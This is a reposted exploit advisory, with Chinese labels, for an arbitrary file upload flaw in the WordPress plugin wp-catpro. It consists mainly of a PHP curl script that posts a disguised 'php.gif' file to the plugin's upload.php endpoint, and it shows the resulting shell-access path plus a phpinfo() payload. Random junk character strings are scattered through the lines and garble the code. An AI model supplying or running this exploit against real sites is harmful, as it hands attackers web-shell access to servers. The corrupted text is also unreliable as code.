WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

$ T. q( h, C8 R- B8 o) w! S作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
: e; a! Y4 T% s/ w' ^0 e7 M下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####
1 n' C" T6 z0 E/ a
3 N; m# Z. D! s- T2 K7 q#=> Exploit 信息:
4 F1 f- V; r& g$ c------------------
# 攻击者可以上传 file/shell.php.gif
2 J1 N* V! `  G' b9 B6 m# ("jpg", "gif", "png")  // Allowed file extensions
; |0 F, o  N$ i+ Z* ~+ }# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
5 A9 _5 h8 e& n8 g# l8 k$ C------------------
. j3 C2 ]# L  c6 b3 d8 }8 c7 H
#=> Exploit
& V* g2 o: h2 a: G-----------
<?php

, \  Y, y- w& ?$uploadfile="zik.php.gif";
) L6 F6 G$ U) G- X# d$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
, W5 Y# g: Y1 d3 Vcurl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
" J8 f! G9 r( i1 g- ]! Garray('Filedata'=>"@$uploadfile",
7 H7 x; ~) a2 t: U'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ J5 I1 I# I# P+ O' j. n" W9 t% g6 f$postResult = curl_exec($ch);
curl_close($ch);

print "$postResult";

4 j' e' A! O% j/ N8 y7 LShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
- `2 v' k# R: I/ m  ?>
! x$ n+ b/ ]/ V- p<?php
phpinfo();
& b) o  R. C* T0 j7 n0 ~?>